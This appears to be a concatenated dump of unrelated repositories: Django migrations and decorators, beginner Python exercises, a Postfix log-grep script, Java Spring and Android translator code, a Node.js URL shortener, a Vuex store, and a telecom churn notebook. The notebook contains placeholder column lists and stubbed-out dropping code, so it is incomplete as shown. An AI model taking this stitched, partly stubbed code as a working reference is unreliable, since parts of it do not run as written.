model_name='shippingaddressmodel',
name='real_name',
field=models.CharField(blank=True, default='', max_length=16, verbose_name='真实姓名'),
),
]
<file_sep>/utils/preprocessing.py
import functools
from django.utils.module_loading import import_string
from utils.exception import CustomerError
from utils.response import json_response
# 请求预处理
def warm_hug():
def decorator(func):
@functools.wraps(func)
def wrapper(self, request, *args, **kwargs):
try:
if not self.serializer_class:
serializer_string = 'apps.' + request.resolver_match.app_name + '.serializers.' + func.__name__ + self.__class__.__name__ + 'Serializer'
self.serializer_class = import_string(serializer_string)
serializer = self.get_serializer(data=request.data)
if not serializer.is_valid():
return json_response(errno=1001, errmsg=str(serializer.errors))
data = serializer.data
res = func(self, request, *args, data=data, **kwargs)
return json_response(result=res)
except CustomerError as e:
return json_response(errno=e.errno, errmsg=e.errmsg, **e.kwargs)
except Exception as e:
return json_response(errno=-1, errmsg=str(e))
return wrapper
return decorator
# 静态方法预处理
def protect(errno=None):
def decorator(func):
@functools.wraps(func)
def wrapper(*args, **kwargs):
try:
res = func(*args, **kwargs)
return json_response(result=res)
except CustomerError as e:
return json_response(errno=e.errno, errmsg=e.errmsg, **e.kwargs)
except Exception as e:
return json_response(errno=-1, errmsg=str(e))
return wrapper
return decorator
<file_sep>/apps/mall/migrations/0007_auto_20210218_2307.py
# Generated by Django 3.1.6 on 2021-02-18 23:07
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('mall', '0006_ordermodel'),
]
operations = [
migrations.AlterField(
model_name='categorymodel',
name='description',
field=models.CharField(blank=True, max_length=255, null=True, verbose_name='描述'),
),
migrations.AlterField(
model_name='productmodel',
name='category',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='category_book', to='mall.categorymodel', verbose_name='类别'),
),
]
| b156aad4624ec6dbc2efcca93181bbb948d16cc6 | [
"Markdown",
"Python"
] | 33 | Python | itang85/bookshop-django | b136629b4e5b1dc7f0661e4b06618f31c95d7ede | d191e2af002db94073ee8c59eeb768002443958f |
refs/heads/master | <repo_name>kalyanavenneti/Acadgild_Assignments_5<file_sep>/Session5_Assignment5 by Venneti Kalyana Chakravarthy.py
# coding: utf-8
# In[12]:
# Question 1: Write a function to compute 5/0 and use try/except to catch the exceptions
def DivideByZero(x,y):
try:
x/y
except ZeroDivisionError as e:
print("An interger/number can't be divisible by Zero")
print("An execption has been occured as, ",e, " action has been attempted")
x,y=5,0
DivideByZero(x,y)
# In[25]:
# Question 2:Implement a Python program to generate all sentences where subject is in ["Americans", "Indians"] and
# verb is in ["Play", "watch"] and the object is in ["Baseball","cricket"].
#Hint: Subject,Verb and Object should be declared in the program as shown below.
#subjects=["Americans ","Indians"]
#verbs=["play","watch"]
#objects=["Baseball","Cricket"]
# Output :
#Americans play Baseball.
#Americans play Cricket.
#Americans watch Baseball.
#Americans watch Cricket.
#Indians play Baseball.
#Indians play Cricket.
#Indians watch Baseball.
#Indians watch Cricket.
subject=["Americans","Indians"]
verb=["play","watch"]
objects=["Baseball","Cricket"]
Syntax = [(Sub+' '+vrb+' '+Objct+".") for Sub in subject for vrb in verb for Objct in objects]
print("Output:")
for syn in Syntax:
print(syn)
<file_sep>/README.md
# Acadgild_Assignments_5
Acadgild_Assignments_5
| 3c06841996e39454338b103252b299256a64c8f5 | [
"Markdown",
"Python"
] | 2 | Python | kalyanavenneti/Acadgild_Assignments_5 | e40937fbacb3fc866c9d02102ddf6a26aa0ea3f5 | f6aea81a8deed8d4cf5e8691e1bc11e218b7deab |
refs/heads/master | <file_sep>#!/bin/sh
if [ "$#" -lt "2" ]
then
echo "Usage: $0 <pattern> <logfile1 [... logfilen]>" >&2
exit 1
fi
pattern="$1"
shift
# TODO: support mixed compressed file formats
GREP=grep
FGREP=fgrep
if echo "$1" | grep -q '\.gz$'
then
GREP=zgrep
FGREP=zfgrep
elif echo "$1" | grep -q '\.bz2$'
then
GREP=bzgrep
FGREP=bzfgrep
fi
ids=$($GREP -i "postfix/.*$pattern" "$@" | sed -e 's/ \+/ /g' | cut -d \ -f 6 | cut -sd : -f 1 | sort | uniq)
test -z "$ids" && exit
# FIXME: This is terribly suboptimal
for id in $ids
do
if [ "$id" = "NOQUEUE" ]
then
$GREP " $id:.*$pattern" "$@" && echo
else
$FGREP " $id: " "$@" && echo
fi
done
| 9a8fad225c2ce1e843d99903fecfd37fccaad6c7 | [
"Shell"
] | 1 | Shell | sakakinox/postgrep | e9343cd0e76beb745ea09fc27ca203b9dcba7589 | c9af05899fd295729dfac0e34a9b673168ced54b |
refs/heads/master | <file_sep>package com.github.yurinevenchenov1970.yandextranslator.dagger;
import com.github.yurinevenchenov1970.yandextranslator.model.MainModel;
import javax.inject.Singleton;
import dagger.Component;
/**
* @author <NAME> on 10/13/2017.
*/
@Singleton
@Component(modules = {AppModule.class, NetModule.class})
public interface NetComponent {
void inject(MainModel model);
}<file_sep>package com.github.yurinevenchenov1970.yandextranslator.model;
import android.content.SharedPreferences;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.support.annotation.NonNull;
import com.github.yurinevenchenov1970.yandextranslator.TranslationService;
import com.github.yurinevenchenov1970.yandextranslator.TranslatorApp;
import com.github.yurinevenchenov1970.yandextranslator.bean.TranslationBean;
import com.github.yurinevenchenov1970.yandextranslator.presenter.MainPresenter;
import java.util.List;
import javax.inject.Inject;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;
/**
* @author <NAME> on 10/12/2017.
*/
public class MainModel {
private static final String KEY = "<KEY>";
private static final String LANG_DEFAULT = "en-ru";
private static final String LANG_RU_EN = "ru-en";
private static final String LANG = "lang";
private static final String FORMAT = "plain";
private static final String OPTIONS = "1";
private final MainPresenter mMainPresenter;
@Inject
TranslationService mService;
@Inject
SharedPreferences mSharedPreferences;
@Inject
ConnectivityManager mConnectivityManager;
public MainModel(MainPresenter mainPresenter) {
TranslatorApp.getNetComponent().inject(this);
mMainPresenter = mainPresenter;
}
public void setLang(boolean isEnRu) {
SharedPreferences.Editor editor = mSharedPreferences.edit();
editor.putBoolean(LANG, isEnRu);
editor.apply();
mMainPresenter.showDefaultLanguageChecked(isEnRu);
}
public void processTranslation(String sourceText) {
if (hasConnection()) {
mMainPresenter.showProgress();
String lang = isDefaultLanguageChecked() ? LANG_DEFAULT : LANG_RU_EN;
Call<TranslationBean> beanCall = mService.getTranslation(KEY, sourceText, lang, FORMAT, OPTIONS);
beanCall.enqueue(new Callback<TranslationBean>() {
@Override
public void onResponse(@NonNull Call<TranslationBean> call, @NonNull Response<TranslationBean> response) {
if (response.isSuccessful()) {
TranslationBean bean = response.body();
if (bean != null) {
List<String> translations = bean.getTranslationList();
if (!translations.isEmpty()) {
String translation = translations.get(0);
mMainPresenter.hideProgress();
mMainPresenter.showTranslation(translation);
}
} else {
mMainPresenter.showError();
}
}
}
@Override
public void onFailure(Call<TranslationBean> call, Throwable t) {
mMainPresenter.hideProgress();
mMainPresenter.showError();
}
});
} else {
mMainPresenter.showConnectionError();
}
}
public boolean isDefaultLanguageChecked() {
boolean isDefaultChecked = mSharedPreferences.getBoolean(LANG, true);
mMainPresenter.changeLanguage(isDefaultChecked);
return isDefaultChecked;
}
private boolean hasConnection() {
boolean connected = false;
if (mConnectivityManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE).getState() == NetworkInfo.State.CONNECTED ||
mConnectivityManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI).getState() == NetworkInfo.State.CONNECTED) {
connected = true;
}
return connected;
}
}<file_sep>Switch translating direction and input a word or even phrase to translate it using Yandex API. App remembers your choise concerning language and will be ready to perform translating in chosen direction next time you start YandexTranslator. Pop up message informs you about missing internet connection or impossibility to treat your request.

1.Retrofit (http://square.github.io/retrofit/) used to turn our HTTP API into a Java interface.
2.Jackson (https://github.com/FasterXML/jackson) used to integrate JSON with Java.
3.Dagger (https://google.github.io/dagger/) used to fast dependency injection for managing objects.
| 2395d02d91dec147dc591518a2781f637bec355d | [
"Markdown",
"Java"
] | 3 | Java | vaginessa/YandexTranslator | fa5e777d4e05509d77a78848ca7ed0dc044d9b89 | 65d50280476724724058ba4b14eb63fc5b1c1d42 |
refs/heads/master | <repo_name>tuhinpal434/BankingApp-TransactionDetails<file_sep>/src/main/java/com/springapp/BankingApp/TransactionDetails/controller/TransactionController.java
package com.springapp.BankingApp.TransactionDetails.controller;
import com.springapp.BankingApp.TransactionDetails.entity.Transaction;
import com.springapp.BankingApp.TransactionDetails.services.TransactionService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
@RestController
@RequestMapping("/transaction")
public class TransactionController {
@Autowired
private TransactionService transactionService;
@PostMapping("/deposit/{accountNumber}/{amount}")
public long deposit(@PathVariable("accountNumber") long accountNumber, @PathVariable("amount") long amount){
return transactionService.deposit(accountNumber,amount);
}
@PostMapping("/withdraw/{accountNumber}/{amount}")
public long withdraw(@PathVariable("accountNumber") long accountNumber, @PathVariable("amount") long amount){
return transactionService.withdraw(accountNumber,amount);
}
@GetMapping("/{accountNumber}")
public List<Transaction> getTransactionByAccountNumber(@PathVariable("accountNumber") long accountNumber){
return transactionService.getAllByAccountNumber(accountNumber);
}
}
| 82c02b8ff7ba7d5ed66730fc2af447dd015714eb | [
"Java"
] | 1 | Java | tuhinpal434/BankingApp-TransactionDetails | 996b9996ea321b4fb2c7a6dc3191d5d2d50cf948 | 14c349d2feaa40438f304ff303a45f9db9f6d536 |
refs/heads/main | <file_sep># E-commerce-Vue<file_sep>import { createStore } from 'vuex'
import * as actions from './actions'
import * as mutations from './mutations'
const state = {
itemList: [],
item: {},
productTypes: [],
checkedProductTypes: [],
productManufacturers: [],
checkedProductManufacturers: [],
cartList: [],
cartSize: 0
}
export default createStore({
state,
mutations,
actions,
modules: {
}
})
<file_sep>export function setItemList (state, items) {
state.itemList = items
state.productTypes = items.reduce(
(acc, currentItem) => !acc.includes(currentItem['product-type'])
? [...acc, currentItem['product-type']]
: acc,
[]
)
state.productManufacturers = items.reduce(
(acc, currentItem) => !acc.includes(currentItem.manufacturer)
? [...acc, currentItem.manufacturer]
: acc,
[]
)
}
export function setCheckedProductTypes (state, checkedTypes) {
state.checkedProductTypes = checkedTypes
}
export function setCheckedProductManufacturers (state, checkedManufacturers) {
state.checkedProductManufacturers = checkedManufacturers
}
export function setCart (state, cartList) {
state.cartList = cartList
}
export function setCartSize (state, cartList) {
state.cartSize = cartList.reduce((acc, current) => acc + current.quantity, 0)
}
export function setItem (state, item) {
state.item = item
}
export function updateItem (state, cartItem) {
const index = state.cartList.findIndex((item) => item._id === cartItem._id)
if (index !== -1) {
state.cartList.splice(index, 1, cartItem)
} else {
state.cartList = [...state.cartList, cartItem]
}
setCartSize(state, state.cartList)
}
| 52228468d0b6c0c2cc0e9d8382f3bd9b52498c5c | [
"Markdown",
"JavaScript"
] | 3 | Markdown | Jheavi/E-commerce-Vue | cab8eda1bfc90ed44a0a368992d85f7eedd2478e | a1c600cc45af0abb7ac3c1bf536ffdef58e4e960 |
refs/heads/main | <file_sep>const User = require("../models/user");
const { sendEmail } = require("../utils/emails");
const router = require("express").Router();
router.post("/user/register", async (req, res) => {
try {
const user = await User.findOne({email: req.body.email});
if(user) {
return res.status(400).json({
success: false,
message: "Email already exists."
});
}
const newUser = await User.create({
email: req.body.email
});
console.log(`${process.env.BACKEND_URL}/user/verify/${newUser._id}`);
sendEmail(newUser.email, "Please verify your email", `
<p>Please follow the link to verify your email before using the API</p>
<p><a href="http://${process.env.BACKEND_URL}/user/verify/${newUser._id}"> Click here </a></p>
`);
return res.json({
success: true,
message: "User created successfully",
data: {
...newUser._doc
}
});
} catch (error) {
console.error(error);
return res.status(400).json({
success: false,
message: error.message
});
}
});
router.get("/user/verify/:user_id", async (req, res) => {
try {
const user = await User.findByIdAndUpdate(req.params.user_id, {is_verified: true});
if(!user) {
return res.status(400).json({
success: false,
message: "User not found."
});
}
return res.json({
success: true,
message: "Email verified successfully",
data: {
...user._doc,
is_verified: true
}
});
} catch (error) {
console.error(error);
return res.status(400).json({
success: false,
message: error.message
});
}
});
module.exports = router;
<file_sep>const shortid = require("shortid");
const Link = require("../models/links");
const User = require("../models/user");
const router = require("express").Router();
router.post("/shorten", async (req, res) => {
try {
const user = await User.findOne({email: req.body.email});
if(!user) {
return res.status(400).json({
success: false,
message: "Email does not match our records."
});
}
if(!user.is_verified) {
return res.status(400).json({
success: false,
message: "please verify your email first"
});
}
let shortLink = {
original_url: req.body.url,
short_url: shortid.generate(),
user_id: user._id,
}
const newShortLink = await Link.create(shortLink);
return res.json({
success: true,
message: "Link shorten successfully",
data: {
...newShortLink._doc
}
});
} catch (error) {
console.error(error);
return res.status(400).json({
success: false,
message: error.message
});
}
});
router.get("/shorten/:url", async (req, res) => {
try {
const urlData = await Link.findOne({short_url: req.params.url});
if(!urlData) {
return res.status(400).json({
success: false,
message: "Link not found."
});
}
return res.json({
success: true,
message: "Link shorten successfully",
data: {
...urlData._doc
}
})
} catch (error) {
}
});
router.get("/:url", async (req, res) => {
try {
const urlData = await Link.findOne({short_url: req.params.url});
if(!urlData) return res.send("URL not found")
res.redirect(urlData.original_url);
} catch (error) {
console.error(error.message);
res.send("Something went wrong!!!!")
}
})
module.exports = router;<file_sep># url_shortner
URL shortner api in Node.js with email verification
### This repo contains the code for El-Professsor webinar project
add a .env with following variable
MONGO_URI=mongodb-url
PORT=4000
BACKEND_URL=localhost:4000
GCUSER=gmailuseremail
GCID=google-client-id-for-oauth
GCSECRET=google-client-secret-for-oauth
REFRESH_TOKEN=your gmail-refresh-token
ACCESS_TOKEN=your gmail-access-token
| 5fe1e064d8df3a849793845635d7e62f739642ff | [
"JavaScript",
"Markdown"
] | 3 | JavaScript | pkspyder007/url_shortner | ec0d28648980b2859ee5ea658a2ad63c84c18224 | 9b88bf5505afcd5b9c820e4634271dd8aafd762a |
refs/heads/master | <file_sep>#!/usr/bin/env python
# coding: utf-8
# In[1]:
# Supress Warnings
import warnings
warnings.filterwarnings('ignore')
# In[2]:
import pandas as pd
import numpy as np
import seaborn as sns
import seaborn as sns
import matplotlib.pyplot as plt
get_ipython().run_line_magic('matplotlib', 'inline')
from sklearn.model_selection import train_test_split
from imblearn.over_sampling import SMOTE
# # Reading the data from the dataset
# In[3]:
telecom_churn = pd.read_csv("telecom_churn_data.csv")
# In[ ]:
# In[4]:
telecom_churn.describe()
# In[5]:
telecom_churn.columns
# # Adding churn label
# In[11]:
def churn_or_not(total_incoming, total_outgoing, total_2g, total_3g):
if total_incoming == 0 and total_outgoing == 0 and total_2g == 0 and total_3g == 0:
return 1
else:
return 0
telecom_high_value_cust['churn'] = telecom_high_value_cust.apply(lambda x: churn_or_not(x.total_ic_mou_9, x.total_og_mou_9, x.vol_2g_mb_9, x.vol_3g_mb_9), axis=1)
# # Structure of our dataset
# In[15]:
telecom_high_value_cust_without_9.head()
# # Removing the columns with 1 and all unique values except mobile number. As mobile number key identifier to find a customer. We can use this attribute to find the customers.
# In[16]:
col_1_unique_val = []
col_all_unique_val = []
col_without_single_or_all_unique = []
for i in telecom_high_value_cust_without_9.columns:
temp_df = telecom_high_value_cust_without_9[i]
temp_df = temp_df.dropna()
if temp_df.unique().size == 1:
col_1_unique_val.append(i)
elif temp_df.unique().size == temp_df.size and i != "mobile_number":
col_all_unique_val.append(i)
else:
col_without_single_or_all_unique.append(i)
# In[17]:
print(col_1_unique_val)
print(col_all_unique_val)
print(col_without_single_or_all_unique)
# In[18]:
telecom_high_value_cust_without_9 = telecom_high_value_cust_without_9[col_without_single_or_all_unique]
# In[19]:
telecom_high_value_cust_without_9.shape
# # Dropping the rows with all the NaN values
# In[20]:
telecom_high_value_cust_without_9 = telecom_high_value_cust_without_9.dropna(how='all')
# In[21]:
telecom_high_value_cust_without_9.shape
# # Removing columns/attributes corresponding to the amount as we want to know churning on the basis of the usage
# In[22]:
col_without_amount = [c for c in telecom_high_value_cust_without_9.columns if c[-5:-2] != "amt"]
# In[ ]:
# # Removing the avg recharge field which was calculated earlier
# In[23]:
col_without_amount.remove('avg_rech_amt_6_7')
# In[24]:
print(col_without_amount)
# In[25]:
telecom_high_value_cust_without_9 = telecom_high_value_cust_without_9[col_without_amount]
# In[26]:
telecom_high_value_cust_without_9.shape
# # Checking for Missing Values and Inputing Them
# In[27]:
round(100*(telecom_high_value_cust_without_9.isnull().sum()/len(telecom_high_value_cust_without_9.index)), 2)
# # Filling all the missing values with 0
# ## After studying the data, it was found that the columns which have null values are based on usage and internet packs, volume of usage and calls.
# ## We know that if there is no action taken for the above features then the column would have ideally the values -> 0. So, the assumption behind putting the values as 0 is customer has not done any action for those attributes.
# In[28]:
telecom_high_value_cust_without_9 = telecom_high_value_cust_without_9.fillna(0)
# In[29]:
round(100*(telecom_high_value_cust_without_9.isnull().sum()/len(telecom_high_value_cust_without_9.index)), 2)
# In[ ]:
# In[30]:
telecom_high_value_cust_without_9.shape
# # Removing the date field as the customers who has not used the service for the fourth month has already churned
# In[31]:
col_without_date = [c for c in telecom_high_value_cust_without_9.columns if "date" not in c]
# In[32]:
print(col_without_date)
# In[33]:
telecom_high_value_cust_without_9 = telecom_high_value_cust_without_9[col_without_date]
telecom_high_value_cust_without_9.shape
# In[34]:
telecom_high_value_cust_without_9.describe(percentiles=[.25,.5,.75,.90,.95,.99])
# In[ ]:
# # Dropping high correlated attributes
# In[35]:
# if flag == all then we want the correlation for the similar month
def show_heatmap(cols, flag=None):
#sns.pairplot(telecom_high_value_cust_without_9[cols], height = 5)
plt.figure(figsize = (20,12))
sns.heatmap(telecom_high_value_cust_without_9[cols].corr(), annot=True)
if flag:
month = ['_7', '_8']
for mon in month:
col_new = []
for ele in cols:
col_new.append(ele.replace("_6", mon))
plt.figure(figsize = (20,12))
sns.heatmap(telecom_high_value_cust_without_9[col_new].corr(), annot=True)
# In[36]:
cols = [<list of field names>
]
show_heatmap(cols)
# In[ ]:
# In[ ]:
# ## Dropping highly correlated fields
# In[40]:
telecom_high_value_cust_without_9.shape
# In[ ]:
## Dropping code here
# In[42]:
telecom_high_value_cust_without_9.shape
# In[43]:
telecom_high_value_cust_without_9.columns
# In[ ]:
# In[44]:
def show_heatmap_across_month(cols):
#sns.pairplot(telecom_high_value_cust_without_9[cols], height = 5)
month = ['_7', '_8']
for ele in cols:
col_new = []
col_new.append(ele)
for mon in month:
col_new.append(ele.replace("_6", mon))
plt.figure(figsize = (20,3))
sns.heatmap(telecom_high_value_cust_without_9[col_new].corr(), annot=True)
col_new.append("churn")
print(telecom_high_value_cust_without_9[col_new].head(25))
# In[45]:
cols = ['xxx']
show_heatmap_across_month(cols)
# In[46]:
cols = ['xxx']
show_heatmap_across_month(cols)
# In[47]:
cols = ['xxx']
show_heatmap_across_month(cols)
# In[48]:
cols = ['xxx']
show_heatmap_across_month(cols)
# In[49]:
cols = ['xxx']
show_heatmap_across_month(cols)
# In[50]:
cols = ['xxx']
show_heatmap_across_month(cols)
# In[51]:
cols = ['xxx']
show_heatmap_across_month(cols)
# In[ ]:
# # Dividing the data into 2 phase: action and good.
# ## The data of 6th and 7th month separately doesn't make any sense found after studying the data. As both are part of good phase, combining both of them and using their average
# In[ ]:
# In[52]:
telecom_high_value_cust_without_9.columns
# In[53]:
col_with_6 = [c for c in telecom_high_value_cust_without_9.columns if "_6" in c]
# In[54]:
col_with_7 = [c for c in telecom_high_value_cust_without_9.columns if "_7" in c]
# In[55]:
len(col_with_6)
# In[56]:
len(col_with_7)
# In[57]:
for element in col_with_6:
target = element.replace("_6", "_6_7")
var2 = element.replace("_6", "_7")
telecom_high_value_cust_without_9[target] = (telecom_high_value_cust_without_9[element] + telecom_high_value_cust_without_9[var2])/2
telecom_high_value_cust_without_9 = telecom_high_value_cust_without_9.drop(element, axis=1)
telecom_high_value_cust_without_9 = telecom_high_value_cust_without_9.drop(var2, axis=1)
# In[58]:
telecom_high_value_cust_without_9.shape
# In[59]:
telecom_high_value_cust_without_9.columns
# In[60]:
telecom_high_value_cust_without_9['jun_jul_vbc_3g'] = (telecom_high_value_cust_without_9['jul_vbc_3g'] + telecom_high_value_cust_without_9['jun_vbc_3g'])/2
telecom_high_value_cust_without_9 = telecom_high_value_cust_without_9.drop('jul_vbc_3g', axis=1)
telecom_high_value_cust_without_9 = telecom_high_value_cust_without_9.drop('jun_vbc_3g', axis=1)
# In[61]:
telecom_high_value_cust_without_9.shape
# In[62]:
telecom_high_value_cust_without_9.head()
# In[ ]:
# # Feature Standardisation except mobile number
# In[ ]:
# In[63]:
col_binary = []
col_non_binary = []
col_cust_id = ['mobile_number']
for i in telecom_high_value_cust_without_9.columns:
temp_df = telecom_high_value_cust_without_9[i]
temp_list = temp_df.unique()
if temp_list.size == 2 and 1 in temp_list and 0 in temp_list:
col_binary.append(i)
else:
if i != "mobile_number":
col_non_binary.append(i)
# In[64]:
print(col_binary)
print(col_non_binary)
print(col_cust_id)
# In[65]:
df_to_normalise = telecom_high_value_cust_without_9[col_non_binary]
df_binary = telecom_high_value_cust_without_9[col_binary]
df_cust_id = telecom_high_value_cust_without_9[col_cust_id]
# In[66]:
normalized_df = (df_to_normalise-df_to_normalise.mean())/df_to_normalise.std()
# In[67]:
telecom = pd.concat([df_binary, normalized_df],axis=1)
telecom = pd.concat([df_cust_id, telecom], axis=1)
telecom.head()
# In[ ]:
# # The data cleaning and preprocessing is completed.
# In[ ]:
# # Checking the Churn Rate
# In[68]:
churn = (sum(telecom['churn'])/len(telecom['churn'].index))*100
churn
# ## We have low rate of churn. So, we will using a technique to handle the imbalance later
# # Model Building
# ## Splitting Data into Training and Test Sets
# In[69]:
#from sklearn.model_selection import train_test_split
# Putting feature variable to X
X = telecom.drop(['churn', 'mobile_number'],axis=1)
#X = X_cust.drop(['mobile_number'],axis=1)
# Putting response variable to y
y_cust = telecom[['churn', 'mobile_number']]
y_cust.head()
# In[ ]:
# In[70]:
# Splitting the data into train and test
X_train, X_test, y_train_cust, y_test_cust = train_test_split(X,y_cust, train_size=0.7,test_size=0.3,random_state=100)
# In[71]:
X_train.head()
# In[ ]:
# # Dropping the mobile number from the Y
# In[72]:
y_train = y_train_cust.drop(['mobile_number'], axis=1)
y_test = y_test_cust.drop(['mobile_number'], axis=1)
# ### Over-sampling is to duplicate random records from the minority class, which can cause overfitting. In under-sampling, the simplest technique involves removing random records from the majority class, which can cause loss of information
#
#
# ## Out of the 4 explored options:
# #### Undersampling,
# #### Oversampling,
# #### Synthetic Data Generation,
# #### Cost Sensitive Learning,
# ### Synthetic Data Generation looks more suitable as it will be less prone to overfitting and also there will be no loss of data
# In[73]:
imbalance_train = churn = (sum(y_train['churn'])/len(y_train['churn'].index))*100
print("Telecom train dataset Imbalance before smote: {}".format(imbalance_train))
# In[74]:
# sampling_strategy: auto which is equivalent to "not majority" ie, oversampling all the classes except the majority
# kind: regular
smote = SMOTE(kind = "regular")
X_train_balanced,y_train_balanced = smote.fit_sample(X_train,y_train)
churn_percentage = (sum(y_train_balanced)/len(y_train_balanced))*100
print("X train dataset {}".format(X_train_balanced.shape))
print("y train dataset {}".format(y_train_balanced.shape))
print("Telecom train dataset Imbalance after smote: {}".format(churn_percentage))
# In[75]:
print(type(X_train_balanced))
print(type(X_train))
print(type(y_train_balanced))
print(type(y_train))
# In[76]:
X_train_balanced = pd.DataFrame(X_train_balanced)
y_train_balanced = pd.DataFrame(y_train_balanced)
print(type(y_train_balanced))
print(type(X_train_balanced))
# In[77]:
X_train.head()
# # Converting the numeric headers into the original ones
# In[78]:
X_train_balanced.columns = X_train.columns
X_train_balanced.head()
# In[79]:
y_train_balanced.head()
# In[80]:
y_train.head()
# In[81]:
y_train_balanced.columns = y_train.columns
y_train_balanced.head()
# # Running logistics regression
# In[82]:
import statsmodels.api as sm
from sklearn.linear_model import LogisticRegression
from sklearn.feature_selection import RFE
from sklearn import metrics
# In[83]:
logreg = LogisticRegression()
rfe = RFE(logreg, 8) # running RFE with 8 variables as output
rfe = rfe.fit(X_train_balanced,y_train_balanced)
print(rfe.support_) # Printing the boolean results
print(rfe.ranking_)
# In[84]:
print(rfe.support_)
# In[85]:
print(list(zip(X_train_balanced.columns, rfe.support_, rfe.ranking_)))
# In[86]:
col = X_train_balanced.columns[rfe.support_]
print(col)
col_rfe = col
# In[ ]:
# # Accessing the model with the StatsModel
# In[87]:
X_train_sm = sm.add_constant(X_train_balanced[col])
logm4 = sm.GLM(y_train_balanced, X_train_sm, family = sm.families.Binomial())
res = logm4.fit()
res.summary()
# In[88]:
# Getting the predicted values on the train set
y_train_pred = res.predict(X_train_sm)
y_train_pred[:10]
# In[89]:
y_train_pred = y_train_pred.values.reshape(-1)
y_train_pred[:10]
# ## Creating a dataframe with the actual churn flag and the predicted probabilities
# In[90]:
y_train_pred_final = pd.DataFrame({'Churn':y_train_balanced.churn.values, 'Churn_Prob':y_train_pred})
# In[91]:
y_train_pred_final['CustID'] = y_train_balanced.index
y_train_pred_final.head()
# In[92]:
# Check for the VIF values of the feature variables.
from statsmodels.stats.outliers_influence import variance_inflation_factor
# Create a dataframe that will contain the names of all the feature variables and their respective VIFs
vif = pd.DataFrame()
vif['Features'] = X_train_balanced[col].columns
vif['VIF'] = [variance_inflation_factor(X_train_balanced[col].values, i) for i in range(X_train_balanced[col].shape[1])]
vif['VIF'] = round(vif['VIF'], 2)
vif = vif.sort_values(by = "VIF", ascending = False)
vif
# In[1237]:
col
# In[93]:
col = col.drop('loc_ic_t2m_mou_8')
# In[94]:
col
# In[95]:
# Let's re-run the model using the selected variables
X_train_sm = sm.add_constant(X_train_balanced[col])
logm3 = sm.GLM(y_train_balanced,X_train_sm, family = sm.families.Binomial())
res = logm3.fit()
res.summary()
# In[96]:
y_train_pred = res.predict(X_train_sm).values.reshape(-1)
# In[97]:
y_train_pred[:10]
# In[98]:
y_train_pred_final['Churn_Prob'] = y_train_pred
# In[99]:
# Creating new column 'predicted' with 1 if Churn_Prob > 0.5 else 0
y_train_pred_final['predicted'] = y_train_pred_final.Churn_Prob.map(lambda x: 1 if x > 0.5 else 0)
y_train_pred_final.head()
# In[100]:
# Let's check the overall accuracy.
print(metrics.accuracy_score(y_train_pred_final.Churn, y_train_pred_final.predicted))
# In[101]:
# Confusion matrix
confusion = metrics.confusion_matrix(y_train_pred_final.Churn, y_train_pred_final.predicted )
print(confusion)
# In[102]:
# Check for the VIF values of the feature variables.
from statsmodels.stats.outliers_influence import variance_inflation_factor
# Create a dataframe that will contain the names of all the feature variables and their respective VIFs
vif = pd.DataFrame()
vif['Features'] = X_train_balanced[col].columns
vif['VIF'] = [variance_inflation_factor(X_train_balanced[col].values, i) for i in range(X_train_balanced[col].shape[1])]
vif['VIF'] = round(vif['VIF'], 2)
vif = vif.sort_values(by = "VIF", ascending = False)
vif
# #### This dataset was run for many models. The good models have both 6 as well as 7 attributes. In most model, we needed to remove the attributes 2 times due to high vif for 2 attributes. The latest model requires only 1 attribute to be removed. So, commenting out the following code instead of removing it for future ref. As the next might give us a model with 6 attributes.
# In[103]:
#col = col.drop('loc_ic_mou_8')
#col
# In[104]:
# Re-runing the model using the selected variables
#X_train_sm = sm.add_constant(X_train_balanced[col])
#logm4 = sm.GLM(y_train_balanced,X_train_sm, family = sm.families.Binomial())
#res = logm4.fit()
#res.summary()
# In[105]:
#y_train_pred = res.predict(X_train_sm).values.reshape(-1)
# In[106]:
#y_train_pred[:10]
# In[107]:
#y_train_pred_final['Churn_Prob'] = y_train_pred
# In[108]:
# Creating new column 'predicted' with 1 if Churn_Prob > 0.5 else 0
#y_train_pred_final['predicted'] = y_train_pred_final.Churn_Prob.map(lambda x: 1 if x > 0.5 else 0)
#y_train_pred_final.head()
# In[109]:
# Checking the overall accuracy.
#print(metrics.accuracy_score(y_train_pred_final.Churn, y_train_pred_final.predicted))
# In[110]:
# Confusion matrix
#confusion = metrics.confusion_matrix(y_train_pred_final.Churn, y_train_pred_final.predicted )
#print(confusion)
# In[111]:
# Checking for the VIF values of the feature variables.
#Create a dataframe that will contain the names of all the feature variables and their respective VIFs
#vif = pd.DataFrame()
#vif['Features'] = X_train_balanced[col].columns
#vif['VIF'] = [variance_inflation_factor(X_train_balanced[col].values, i) for i in range(X_train_balanced[col].shape[1])]
#vif['VIF'] = round(vif['VIF'], 2)
#vif = vif.sort_values(by = "VIF", ascending = False)
#vif
# #### All variables have a good value of VIF. So we need not drop any more variables
# # Finding optimal cutoff point
#
# ## Optimal cutoff probability is that prob where we get balanced sensitivity and specificity and high value of sensitivity
# In[112]:
# Let's create columns with different probability cutoffs
numbers = [float(x)/10 for x in range(10)]
for i in numbers:
y_train_pred_final[i]= y_train_pred_final.Churn_Prob.map(lambda x: 1 if x > i else 0)
y_train_pred_final.head()
# In[113]:
# Calculating accuracy sensitivity and specificity for various probability cutoffs.
cutoff_df = pd.DataFrame( columns = ['prob','accuracy','sensi','speci'])
from sklearn.metrics import confusion_matrix
# TP = confusion[1,1] # true positive
# TN = confusion[0,0] # true negatives
# FP = confusion[0,1] # false positives
# FN = confusion[1,0] # false negatives
num = [0.0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9]
for i in num:
cm1 = metrics.confusion_matrix(y_train_pred_final.Churn, y_train_pred_final[i] )
total1=sum(sum(cm1))
accuracy = (cm1[0,0]+cm1[1,1])/total1
speci = cm1[0,0]/(cm1[0,0]+cm1[0,1])
sensi = cm1[1,1]/(cm1[1,0]+cm1[1,1])
cutoff_df.loc[i] =[ i ,accuracy,sensi,speci]
print(cutoff_df)
# In[114]:
# Plotting accuracy sensitivity and specificity for various probabilities.
cutoff_df.plot.line(x='prob', y=['accuracy','sensi','speci'])
plt.show()
